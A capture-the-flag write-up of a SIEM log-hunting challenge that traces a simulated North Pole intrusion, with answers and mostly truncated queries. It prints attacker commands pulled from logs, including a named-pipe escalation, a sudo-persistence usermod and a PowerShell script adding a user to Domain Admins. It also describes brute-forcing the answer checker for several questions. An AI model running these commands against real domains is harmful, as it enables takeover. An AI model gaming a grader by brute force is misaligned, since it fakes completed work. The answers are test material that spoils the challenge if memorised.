Difficulty: ❄ ❄ ❄ ❄ ❄
Help the ElfSOC analysts track down a malicious attack against the North Pole domain.
Hints
Elf Stack Intro
From: Fitzy Shortstack
I’m part of the ElfSOC that protects the interests here at the North Pole. We built the Elf Stack SIEM, but not everybody uses it. Some of our senior analysts choose to use their command line skills, while others choose to deploy their own solution. Any way is possible to hunt through our logs!
Elf Stack Fields
From: Fitzy Shortstack
If you are using your command line skills to solve the challenge, you might need to review the configuration files from the containerized Elf Stack SIEM.
Elf Stack WinEvent
From: Fitzy Shortstack
One of our seasoned ElfSOC analysts told me about a great resource to have handy when hunting through event log data. I have it around here somewhere, or maybe it was online. Hmm.
Elf Stack PowerShell
From: Fitzy Shortstack
Our Elf Stack SIEM has some minor issues when parsing log data that we still need to figure out. Our ElfSOC SIEM engineers drank many cups of hot chocolate figuring out the right parsing logic. The engineers wanted to ensure that our junior analysts had a solid platform to hunt through log data.
Elf Stack Hard - Email1
From: Fitzy Shortstack
I was on my way to grab a cup of hot chocolate the other day when I overheard the reindeer talking about playing games. The reindeer mentioned trying to invite Wombley and Alabaster to their games. This may or may not be great news. All I know is, the reindeer better create formal invitations to send to both Wombley and Alabaster.
Elf Stack Hard - Email2
From: Fitzy Shortstack
Some elves have tried to make tweaks to the Elf Stack log parsing logic, but only a seasoned SIEM engineer or analyst may find that task useful.
Silver (Easy mode)
Question 1: How many unique values are there for the event_source field in all logs?
QUERY:
1 | FROM * |
RESULTS:
| COUNT_DISTINCT(event_source) |
|---|
| 5 |
ANSWER: 5
Question 2: Which event_source has the fewest number of events related to it?
QUERY:
1 | FROM * |
RESULTS:
| COUNT() | event_source |
|---|---|
| 269 | AuthLog |
| 1398 | SnowGlowMailPxy |
| 7476 | GreenCoat |
| 34679 | NetflowPmacct |
| 2299212 | WindowsEvent |
ANSWER: AuthLog
Question 3: Using the event_source from the previous question as a filter, what is the field name that contains the name of the system the log event originated from?
QUERY:
1 | FROM * |
RESULTS:
1 | { |
ANSWER: By fetching a random event from AuthLog, we can see that event.hostname contains the hostname of the machine. The answer is event.hostname.
Question 4: Which event_source has the second highest number of events related to it?
ANSWER: Looking at the results from Question 2, we can see the event_source is NetflowPmacct.
Question 5: Using the event_source from the previous question as a filter, what is the name of the field that defines the destination port of the Netflow logs?
QUERY:
1 | FROM * |
RESULTS:
1 | { |
ANSWER: By fetching a random event from NetflowPmacct, we can see that event.port_dst contains the destination port. The answer is event.port_dst.
Question 6: Which event_source is related to email traffic?
ANSWER: Looking at the results from Question 2, we can see the event_source is SnowGlowMailPxy.
Question 7: Looking at the event source from the last question, what is the name of the field that contains the actual email text?
QUERY:
1 | FROM * |
RESULTS:
1 | { |
ANSWER: By fetching a random event from NetflowPmacct, we can see that event.Body contains the body of the mail. The answer is event.Body.
Question 8: Using the ‘GreenCoat’ event_source, what is the only value in the hostname field?
QUERY:
1 | FROM * |
RESULTS:
| COUNT() | hostname |
|---|---|
| 7476 | SecureElfGwy |
ANSWER: SecureElfGwy
Question 9: Using the ‘GreenCoat’ event_source, what is the name of the field that contains the site visited by a client in the network?
QUERY:
1 | FROM * |
RESULTS:
1 | { |
ANSWER: By fetching a random event from GreenCoat, we can see that event.url contains the url. The answer is event.url.
Question 10: Using the ‘GreenCoat’ event_source, which unique URL and port (URL:port) did clients in the TinselStream network visit most?
QUERY:
1 | FROM * |
RESULTS:
| COUNT() | event.url |
|---|---|
| 150 | pagead2.googlesyndication.com:443 |
ANSWER: pagead2.googlesyndication.com:443
Question 11: Using the ‘WindowsEvent’ event_source, how many unique Channels is the SIEM receiving Windows event logs from?
QUERY:
1 | FROM * |
RESULTS:
| COUNT() | event.Channel |
|---|---|
| 2268298 | Security |
| 17710 | Microsoft-Windows-Sysmon/Operational |
| 11746 | Microsoft-Windows-PowerShell/Operational |
| 1217 | - |
| 191 | System |
| 50 | Windows PowerShell |
ANSWER: 5 (excluding the null one)
Question 12: What is the name of the event.Channel (or Channel) with the second highest number of events?
ANSWER: Looking at the results from Question 11, we can see the Channel is Microsoft-Windows-Sysmon/Operational.
Question 13: Our environment is using Sysmon to track many different events on Windows systems. What is the Sysmon Event ID related to loading of a driver?
ANSWER: I simply asked Google :) Answer is 6
Question 14: What is the Windows event ID that is recorded when a new service is installed on a system?
ANSWER: I simply asked Google :) Answer is 4697
Question 15: Using the WindowsEvent event_source as your initial filter, how many user accounts were created?
1 | FROM * |
RESULTS: No results
ANSWER: 0
Gold (Hard mode)
Question 1: What is the event.EventID number for Sysmon event logs relating to process creation?
ANSWER: Answer is 1 (or you can simply ask Google)
Question 2: How many unique values are there for the ‘event_source’ field in all of the logs?
ANSWER: Same answer of Easy Mode Question 2, 5.
Question 3: What is the event_source name that contains the email logs?
ANSWER: Same answer of Easy Mode Question 6, SnowGlowMailPxy.
Question 4: The North Pole network was compromised recently through a sophisticated phishing attack sent to one of our elves. The attacker found a way to bypass the middleware that prevented phishing emails from getting to North Pole elves. As a result, one of the Received IPs will likely be different from what most email logs contain. Find the email log in question and submit the value in the event ‘From:’ field for this email log event.
QUERY:
1 | FROM * |
RESULTS:
| COUNT() | VALUES(event.From) | event.ReceivedIP2 |
|---|---|---|
| 1397 | [SantaSlinger@bells.ring, … omissis … ] | 172.24.25.20 |
| 1 | kriskring1e@northpole.local | 34.30.110.62 |
ANSWER: We can observe that only one event was generated by the IP address 34.30.110.62 and that email is coming from kriskring1e@northpole.local. The answer is kriskring1e@northpole.local.
Question 5: Our ElfSOC analysts need your help identifying the hostname of the domain computer that established a connection to the attacker after receiving the phishing email from the previous question. You can take a look at our GreenCoat proxy logs as an event source. Since it is a domain computer, we only need the hostname, not the fully qualified domain name (FQDN) of the system.
QUERY 1:
1 | FROM * |
RESULTS 1:
| event.Body |
|---|
| We need to store the updated naughty and nice list somewhere secure. I posted it here http://hollyhaven.snowflake/howtosavexmas.zip. Act quickly so I can remove the link from the internet! I encrypted it with the password: n&nli$t_finAl1\n\nthx!\nkris\n- Sent from the sleigh. Please excuse any Ho Ho Ho’s. |
QUERY 2:
1 | FROM * |
RESULTS 2:
| @timestamp | event.host | event.ip |
|---|---|---|
| 2024-09-15T14:36:26.000Z | SleighRider | 172.24.25.12 |
ANSWER: SleighRider
Question 6: What was the IP address of the system you found in the previous question?
ANSWER: Looking at the results from the previous question, we can see the IP address is 172.24.25.12.
Question 7: A process was launched when the user executed the program AFTER they downloaded it. What was that Process ID number (digits only please)?
QUERY:
1 | FROM * |
RESULTS:
| event.Image | event.ProcessID |
|---|---|
| C:\Users\elf_user02\Downloads\howtosavexmas\howtosavexmas.pdf.exe | 10,014 |
ANSWER: In the first query of Hard Mode Question 5 we can observe the file howtosavexmas.zip, the timestamp at which it was downloaded and the interested host. Searching for processes that matches this file on this machine we can find the answer, being the ProcessID 10014.
Question 8: Did the attacker’s payload make an outbound network connection? Our ElfSOC analysts need your help identifying the destination TCP port of this connection.
QUERY:
1 | FROM * |
RESULTS:
| COUNT() | event.DestinationPort | event.DestinationIp |
|---|---|---|
| 11 | 389 | 172.24.25.153 |
| 6 | 808 | 172.24.25.25 |
| 6 | 143 | 172.24.25.25 |
| 1 | 8,443 | 103.12.187.43 |
ANSWER: Using the ProcessID from the previous query we can observe it did only one connection towards the public IP address 103.12.187.43. The answer to the question is the port on which the connection happened: 8443.
Question 9: The attacker escalated their privileges to the SYSTEM account by creating an inter-process communication (IPC) channel. Submit the alpha-numeric name for the IPC channel used by the attacker.
QUERY:
1 | FROM * |
RESULTS:
| event.CommandLine |
|---|
| cmd.exe /c echo ddpvccdbr > \\.\pipe\ddpvccdbr |
ANSWER: Pivoting on the ProcessID 10014, we can observe the command cmd.exe /c echo ddpvccdbr > \\.\pipe\ddpvccdbr creating a pipe. The answer is the name of this pipe ddpvccdbr.
Question 10: The attacker’s process attempted to access a file. Submit the full and complete file path accessed by the attacker’s process.
QUERY:
1 | FROM * |
RESULTS:
| event.ObjectName |
|---|
| C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem |
ANSWER: Keep pivoting on the ProcessID 10014, we can observe the access to the file C:\Users\elf_user02\Desktop\kkringl315@10.12.25.24.pem which is the answer to the question.
Question 11: The attacker attempted to use a secure protocol to connect to a remote system. What is the hostname of the target server?
QUERY:
1 | FROM * |
RESULTS:
| COUNT() | event.hostname |
|---|---|
| 269 | kringleSSleigH |
ANSWER: The file kkringl315@10.12.25.24.pem from previous question looks like a certificate for an ssh username@ip connection. Among the log sources there is AuthLog which reasonably pertains to a linux machine. Having only one machine in scope, its hostname kringleSSleigH is the answer to question.
Question 12: The attacker created an account to establish their persistence on the Linux host. What is the name of the new account created by the attacker?
QUERY:
1 | FROM * |
RESULTS:
| event.message |
|---|
| new user: name=ssdh, UID=1002, GID=1002, home=/home/ssdh, shell=/bin/bash, from=/dev/pts/6 |
ANSWER: Investigating the logs in the AuthLog source, we can observe the creationg of the user sshd, being the answer to the question.
Question 13: The attacker wanted to maintain persistence on the Linux host they gained access to and executed multiple binaries to achieve their goal. What was the full CLI syntax of the binary the attacker executed after they created the new user account?
QUERY:
1 | FROM * |
RESULTS:
| event.message |
|---|
| group added to /etc/group: name=ssdh, GID=1002 |
| new user: name=ssdh, UID=1002, GID=1002, home=/home/ssdh, shell=/bin/bash, from=/dev/pts/6 |
| group added to /etc/gshadow: name=ssdh |
| new group: name=ssdh, GID=1002 |
| pam_unix(passwd:chauthtok): password changed for ssdh |
| changed user ‘ssdh’ information |
| members of group users set by root to kkringl315,pmacct,ssdh |
| kkringl315 : TTY=pts/5 ; PWD=/opt ; USER=root ; COMMAND=/usr/sbin/usermod -a -G sudo ssdh |
| add ‘ssdh’ to group ‘sudo’ |
| add ‘ssdh’ to shadow group ‘sudo’ |
ANSWER: Pivoting on the ssdh, we can observe the attacker used usermod to add the user he just created to the sudoers. The answer is the full CLI syntax: /usr/sbin/usermod -a -G sudo ssdh
Question 14: The attacker enumerated Active Directory using a well known tool to map our Active Directory domain over LDAP. Submit the full ISO8601 compliant timestamp when the first request of the data collection attack sequence was initially recorded against the domain controller.
I spent so much time trying to find the right event and not understanding if the issue was the event I found or the timestamp that I eventually gave up…and bruteforced it :)
Knowing that this event pertains to a Windows machine (event source) and that it must have happened after the download (2024-09-15T14:36:26.000Z), I extracted all subsequent timestamps and built a quick python script to bruteforce the question:
1 | import requests |
As questions need to be addressed sequentially, the file known_answers.txt contains the already known answers and dict.txt contains the answers to attempt.
ANSWER: The script ran returning the timestamp 2024-09-16T11:10:12-04:00, being the answer. Checking this timestamp it shows a failed LDAP bind attempt toward dc01.northpole.local.
Question 15: The attacker attempted to perform an ADCS ESC1 attack, but certificate services denied their certificate request. Submit the name of the software responsible for preventing this initial attack.
QUERY:
1 | FROM * |
RESULTS:
| event.Category | event.Description | event.ReasonForRejection |
|---|---|---|
| Certification Services - Certificate Request Denied | A certificate request was made for a certificate template, but the request was denied because it did not meet the criteria. | KringleGuard EDR flagged the certificate request. |
ANSWER: Investigating failure events related to a potential ADCS ESC1, we can see that the software preventing the attack was the EDR KringleGuard
Question 16: We think the attacker successfully performed an ADCS ESC1 attack. Can you find the name of the user they successfully requested a certificate on behalf of?
QUERY:
1 | FROM * |
RESULTS:
| event.Description | event.ModifierInformation_UserName |
|---|---|
| A security descriptor was modified on a certificate template. | nutcrakr |
ANSWER: Investigating success events related to a potential ADCS ESC1, we can see the user nutcrakr, being the answer to the question.
Question 17: One of our file shares was accessed by the attacker using the elevated user account (from the ADCS attack). Submit the folder name of the share they accessed.
QUERY:
1 | FROM * |
RESULTS:
| COUNT() | event.ShareInformation_ShareName |
|---|---|
| 8 | \\*\ADMIN$ |
| 30 | \\*\IPC$ |
| 17 | \\*\SYSVOL |
| 2 | \\*\WishLists |
ANSWER: Investigating file share events we can see a non-standard one named WishLists.
Question 18: The naughty attacker continued to use their privileged account to execute a PowerShell script to gain domain administrative privileges. What is the password for the account the attacker used in their attack payload?QUERY:
Probably due to some log parsing/upload issue, I couldn’t do this using ELK, so I used grep:
1 | grep "ScriptBlockText" log_chunk_complete.log | grep nutcrakr |
RESULTS:
1 | <134>1 2024-09-16T11:33:12-04:00 SleighRider.northpole.local WindowsEvent - - - {"MessageNumber": 1, "MessageTotal": 1, "ScriptBlockText": "Add-Type -AssemblyName System.DirectoryServices\n$ldapConnString = \"LDAP://CN=Domain Admins,CN=Users,DC=northpole,DC=local\"\n$username = \"nutcrakr\"\n$pswd = 'fR0s3nF1@k3_s'\n$nullGUID = [guid]'00000000-0000-0000-0000-000000000000'\n$propGUID = [guid]'00000000-0000-0000-0000-000000000000'\n$IdentityReference = (New-Object System.Security.Principal.NTAccount(\"northpole.local\\$username\")).Translate([System.Security.Principal.SecurityIdentifier])\n$inheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance]::None\n$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference, ([System.DirectoryServices.ActiveDirectoryRights] \"GenericAll\"), ([System.Security.AccessControl.AccessControlType] \"Allow\"), $propGUID, $inheritanceType, $nullGUID\n$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $pswd\n$secOptions = $domainDirEntry.get_Options()\n$secOptions.SecurityMasks = [System.DirectoryServices.SecurityMasks]::Dacl\n$domainDirEntry.RefreshCache()\n$domainDirEntry.get_ObjectSecurity().AddAccessRule($ACE)\n$domainDirEntry.CommitChanges()\n$domainDirEntry.dispose()\n$ldapConnString = \"LDAP://CN=Domain Admins,CN=Users,DC=northpole,DC=local\"\n$domainDirEntry = New-Object System.DirectoryServices.DirectoryEntry $ldapConnString, $username, $pswd\n$user = New-Object System.Security.Principal.NTAccount(\"northpole.local\\$username\")\n$sid=$user.Translate([System.Security.Principal.SecurityIdentifier])\n$b=New-Object byte[] $sid.BinaryLength\n$sid.GetBinaryForm($b,0)\n$hexSID=[BitConverter]::ToString($b).Replace('-','')\n$domainDirEntry.Add(\"LDAP://<SID=$hexSID>\")\n$domainDirEntry.CommitChanges()\n$domainDirEntry.dispose()", "ScriptBlockId": "{01bbe2da-58c3-4490-aa52-682dbae233a3}", "Path": "", "Provider_Name": "Microsoft-Windows-PowerShell", "Provider_Guid": "{a0c1853b-5c40-4b15-8766-3cf1c58f985a}", "EventID": 4104, "Version": 1, "Level": 5, "Task": 2, "Opcode": 15, "Keywords": "0x0", "TimeCreated_SystemTime": "2024-09-16T11:33:12-04:00", "EventRecordID": 54059, "Correlation_ActivityID": "{17aa0df9-5d3d-46e9-bce0-55b7a5be4b43}", "ParentProcessID": 928, "ThreadID": 4896, "Channel": "Microsoft-Windows-PowerShell/Operational", "Computer": "SleighRider.northpole.local", "Security_UserID": "S-1-5-21-3699322559-1991583901-1175093138-1110"} |
ANSWER: In the command Issued we can observe the password fR0s3nF1@k3_s
Question 19: The attacker then used remote desktop to remotely access one of our domain computers. What is the full ISO8601 compliant UTC EventTime when they established this connection?
QUERY:
1 | FROM * |
RESULTS:
| event.EventTime |
|---|
| 2024-09-16T15:35:57.000Z |
ANSWER: Investigating RDP logins we can find just one event with timestamp 2024-09-16T15:35:57.000Z
Question 20: The attacker is trying to create their own naughty and nice list! What is the full file path they created using their remote desktop connection?
QUERY:
I used grep as it’s easier for free text search:
1 | grep -i fake log_chunk_complete.log |
RESULTS:
1 | <134>1 2024-09-16T11:36:28-04:00 dc01.northpole.local WindowsEvent - - - {"EventTime": "2024-09-16 11:36:28", "Hostname": "dc01.northpole.local", "Keywords": -9223372036854775808, "EventType": "INFO", "SeverityValue": 2, "Severity": "INFO", "EventID": 1, "SourceName": "Microsoft-Windows-Sysmon", "ProviderGuid": "{5770385F-C22A-43E0-BF4C-06F5698FFBD9}", "Version": 5, "Task": 1, "OpcodeValue": 0, "RecordNumber": 641, "ProcessID": 6468, "ThreadID": 4816, "Channel": "Microsoft-Windows-Sysmon/Operational", "Domain": "NT AUTHORITY", "AccountName": "SYSTEM", "UserID": "S-1-5-18", "AccountType": "User", "Category": "Process Create (rule: ProcessCreate)", "Opcode": "Info", "RuleName": "-", "UtcTime": "2024-09-16T11:36:28-04:00", "ProcessGuid": "{f151dc49-502c-660c-8702-000000000900}", "Image": "C:\\Windows\\System32\\notepad.exe", "FileVersion": "10.0.17763.1697 (WinBuild.160101.0800)", "Description": "Notepad", "Product": "Microsoft\u00ae Windows\u00ae Operating System", "Company": "Microsoft Corporation", "OriginalFileName": "NOTEPAD.EXE", "CommandLine": "\"C:\\Windows\\system32\\NOTEPAD.EXE\" C:\\WishLists\\santadms_only\\its_my_fakelst.txt", "CurrentDirectory": "C:\\WishLists\\santadms_only\\", "User": "NORTHPOLE\\nutcrakr", "LogonGuid": "{f151dc49-500d-660c-5e42-dd0000000000}", "LogonId": "0xdd425e", "TerminalSessionId": 2, "IntegrityLevel": "Medium", "Hashes": "MD5=5394096A1CEBF81AF24E993777CAABF4,SHA256=A28438E1388F272A52559536D99D65BA15B1A8288BE1200E249851FDF7EE6C7E,IMPHASH=C8922BE3DCDFEB5994C9EEE7745DC22E", "ParentProcessGuid": "{f151dc49-500f-660c-5902-000000000900}", "ParentProcessId": 1364, "ParentImage": "C:\\Windows\\explorer.exe", "ParentCommandLine": "C:\\Windows\\Explorer.EXE", "ParentUser": "NORTHPOLE\\nutcrakr", "EventReceivedTime": "2024-09-16T11:36:28-04:00", "SourceModuleName": "inSysmon", "SourceModuleType": "im_msvistalog", "ProcessId": 9152, "MoreDetails": "Process Create:"} |
ANSWER: I don’t know why I thought the keyword “fake” was relevant but turns out it actually led to the file the attacker was trying to create: C:\WishLists\santadms_only\its_my_fakelst.txt.
Question 21: The Wombley faction has user accounts in our environment. How many unique Wombley faction users sent an email message within the domain?
By now I was quite tired of querying out stuff so I started reusing my bruteforce script from question 14 :)
For this question I just used all numbers from 0 to 100 as dict :)
ANSWER: 4
Question 22: The Alabaster faction also has some user accounts in our environment. How many emails were sent by the Alabaster users to the Wombley faction users?
Ehm…also this I didn’t see why not trying bruteforce it… Same logic of the previous question :)
ANSWER: 22
Question 23: Of all the reindeer, there are only nine. What’s the full domain for the one whose nose does glow and shine? To help you narrow your search, search the events in the ‘SnowGlowMailPxy’ event source.
QUERY:
1 | FROM * |
RESULTS:
| COUNT() | domain |
|---|---|
| 17 | bells.ring |
| 20 | wreath.maker |
| 720 | northpole.local |
| 24 | twinkle.light |
| 20 | snowflakekingdom.chill |
| 21 | wicked.snow |
| 21 | nogfest.eggnog |
| 18 | reindeers.fly |
| 19 | rud01ph.glow |
| 16 | gingerlane.dancer |
| 22 | candycane.factory |
| 13 | icicle.light |
| 19 | blizzard.north |
| 16 | santa.hut |
| 16 | nutcracker.tale |
| 16 | snowflake.spark |
| 16 | snowdrift.globe |
| 19 | merry.elves |
| 12 | holly.jolly |
| 18 | northstar.nibbles |
| 20 | sleigh.ride |
| 14 | yule.log |
| 16 | mistlebranch.vixen |
| 21 | evergreen.tree |
| 20 | pine.tree |
| 16 | tinsel.town |
| 15 | gingerbread.house |
| 21 | ginger.snap |
| 17 | toytinkers.land |
| 14 | jolly.jingle |
| 20 | cheery.fireplace |
| 15 | starlight.tree |
| 11 | frosty.north |
| 7 | reindeer.corral |
| 20 | c0m3t.halleys |
| 6 | elf.toyshop |
| 21 | stocking.chimney |
| 16 | twilight.star |
| 19 | pr4nc3r.trot |
| 9 | tinsel.wrap |
| 17 | snowy.land |
ANSWER: I could have taken a look at the list and notice the domain but I already had a bruteforce script and I didn’t had enough neurons alive to not use it :) The answer is rud01ph.glow
Question 24: With a fiery tail seen once in great years, what’s the domain for the reindeer who flies without fears?
ANSWER: Same approach of the previous answer led to the answer c0m3t.halleys
Thanks to @orangepeelbeef
ChatGPT’s 700 fricking fields:
Thanks to @ProfessorX
My work here is done 🙂
Thanks to @Shuckle Lord Mixone
Grepped the hell out of the logs and somehow I noticed it :)